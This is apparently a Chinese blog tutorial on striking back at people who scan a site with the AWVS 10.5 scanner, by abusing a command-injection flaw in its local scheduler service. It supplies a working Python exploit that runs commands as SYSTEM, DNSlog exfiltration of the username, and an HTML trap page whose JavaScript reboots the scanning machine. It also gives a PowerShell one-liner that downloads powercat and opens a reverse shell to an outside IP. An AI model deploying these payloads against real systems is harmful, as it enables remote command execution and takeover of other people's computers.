利用AWVS进行反制
目錄
awvs10.5安裝
命令執行
進一步利用
重啟系統
反彈shell
首先,在滲透的時候,很多人會開各種掃描器收集一波信息,在國內用的最多最平常的掃描器應該是AWVS系列。這篇文章寫得就是利用AWVS的一個漏洞去反制攻擊者,僅提供一個思路進行參考。
這里利用的是AWVS 10被爆出一個本地權限提升漏洞(CVE-2015-4027),漏洞詳情及POC:https://www.exploit-db.com/exploits/38847/
- 實驗系統:win7 sp1
- awvs:10.5
awvs10.5安裝
首先我們先下載awvs 10.5,參考:http://www.32r.com/soft/12986.html
漏洞分析
漏洞是出現在AWVS 10 的一個任務調度的API上。在AWVS 10.x 被安裝后,系統會默認安裝一個叫做“AcuWVSSchedulerv10”的自啟動服務,這個服務是跑在system權限下的。他會監聽本地的8183端口,用戶可以通過它直接調用接口來給awvs添加新的掃描任務。
如下圖所示,通過訪問http://127.0.0.1:8183即可完成掃描任務的添加刪除和進度查看。
在添加任務時,參數里有一項為reporttemplate ,他的作用是選擇掃描結束生成報告時所用的模板,研究發現這個參數會被帶入WVS的命令行執行。由于系統沒有對用戶的輸入做檢查,導致我們可以通過reporttemplate帶入任意的參數,形成了命令注入。
通過查看awvs的官方文檔:https://www.acunetix.com/blog/docs/acunetix-wvs-cli-operation/
發現wvs命令行下有一個參數為/run,通過它可以執行系統任意命令。因此我們可以使用這個參數獲得一個system權限的命令執行。
這里我對原poc進行一個修改,修改為python3
#import httplib import requests import json from datetime import datetime import sys import os from time import gmtime, strftime url = "http://127.0.0.1:8183/api/addScan"if len(sys.argv) > 1:COMMAND = sys.argv[1] pass else:print('請輸入想要執行的命令參數: python xx.py "command"')os._exit(0) ACUHOST = '127.0.0.1' ACUPORT = 8183 ACUHEADERS = {"Content-Type": "application/json; charset=UTF-8","X-Requested-With": "XMLHttpRequest","Accept": "application/json, text/javascript, */*; q=0.01","RequestValidated": "true"} ACUEXPLOIT = "/Crawl http://www.google.it /Run \""+ COMMAND + "\"" ACUDATA = {"scanType":"scan","targetList":"","target":["http://"+"A"*2048],"recurse":"-1","date":strftime("%m/%d/%Y", gmtime()),"dayOfWeek":"1","dayOfMonth":"1","time": "%s:%s" % (datetime.now().hour, datetime.now().minute+1),"deleteAfterCompletion":"False","params":{"profile":"Default","loginSeq":"<none>","settings":"Default","scanningmode":"heuristic","excludedhours":"<none>","savetodatabase":"True","savelogs":"False","generatereport":"False","reportformat":"PDF","reporttemplate":"WVSDeveloperReport.rep " + ACUEXPLOIT,"emailaddress":""}}def sendExploit():"""conn = httplib.HTTPConnection(ACUHOST, ACUPORT)conn.request("POST", "/api/addScan", json.dumps(ACUDATA), ACUHEADERS)resp = conn.getresponse()return "%s %s" % (resp.status, resp.reason)"""re = requests.post(url=url,headers=ACUHEADERS,data=json.dumps(ACUDATA))print(re.status_code,re.text) print ("Acunetix Wvs 10 Local priviledge escalation by Daniele Linguaglossa\n") print ("[+] Command : %s will be executed as SYSTEM" % COMMAND) print ("[+] Sending exploit...") sendExploit() print ("[+] Done!")這個payload其實就是模仿的一個添加任務的一個請求,這里可以使用proxychains對poc進行流量的截取查看
命令執行
我們把這個poc進行執行
1. DNSlog探測
首先在dnslog平臺獲取一個子域,http://www.dnslog.cn/
執行python腳本,我們發現此時立即添加了一個掃描任務,任務是在一分鐘后執行
一分鐘后刷新dnslog,發現命令被執行了?
2.dnslog回顯系統信息
dnslog結合Windows系統變量回顯系統信息
python 1.py "ping %USERNAME%.8mszqz.dnslog.cn"?
進一步利用
然后思考,可不可以在網頁中寫入js代碼,然后js中放入我們的poc,將poc用js的方式進行提交。這里將原作者的js代碼進行一個修改,因為我用其提供的js代碼并不能執行成功,修改的js代碼如下。寫先一個簡單的HTML頁面
重啟系統
<!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><title>釣魚網站</title><h1>嗨嘍,歡迎來到到我的世界</h1> </head> <body><script> var time = new Date()var y = time.getFullYear();var m = time.getMonth()+1;var d = time.getDate();var hours = time.getHours();var min = time.getMinutes()+1;//var command = "shutdown -r -t 0";var padding = "http://";for(i=0;i<2048;i++)padding+="a";var exp = '{"scanType":"scan","targetList":"","target":["'+padding+'"],"recurse":"-1","date":"'+m+'/'+d+'/'+y+'","dayOfWeek":"1","dayOfMonth":"1","time":"'+hours+':'+min+'","deleteAfterCompletion":"False","params":{"profile":"Default","loginSeq":"<none>","settings":"Default","scanningmode":"heuristic","excludedhours":"<none>","savetodatabase":"True","savelogs":"False","generatereport":"False","reportformat":"PDF","reporttemplate":"WVSDeveloperReport.rep /Crawl http://www.google.it /Run \\"shutdown /r /t 0 \\"","emailaddress":""}}'document.write(exp)var xmlhttp;if(window.XMLHttpRequest){xmlhttp = new XMLHttpRequest();}else{xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");}xmlhttp.open("POST","http://127.0.0.1:8183/api/addScan",true);xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");xmlhttp.setRequestHeader("RequestValidated","true");xmlhttp.send(exp);</script> </body> </html>用pyhthon起一個web服務
python -m http.server 80shutdown /r /t 0,就是我們執行的系統命令
然后,當我們使用掃描器對網站進行掃描的時候,一掃描發現,系統自動添加了一個掃描任務
當任務執行的時候,攻擊者的系統重啟了~~
當然還可以進行添加賬號等一些操作。
反彈shell
ps的執行策略
默認不允許運行ps腳本
四種策略
- Restricted 默認,不允許執行腳本(管理員也不行)
- ALLsigned 允許云心經過證書驗證的腳本
- Unrestricted 允許執行任意腳本
- RemoteSigned 本地腳本不限制,來自網絡的腳本需要經過簽名
因為是winndows下,所以并不好反彈shell,這里想的是利用powershell腳本進行反彈
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.1.4 -p 9999 -e cmd但是放到poc里面去,并不會執行這個命令,不知道啥原因~~
總結
以上是生活随笔為你收集整理的利用AWVS进行反制的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Kotlin 一种以服务为基础的APP架
- 下一篇: [html] 说说你对abbr标签的理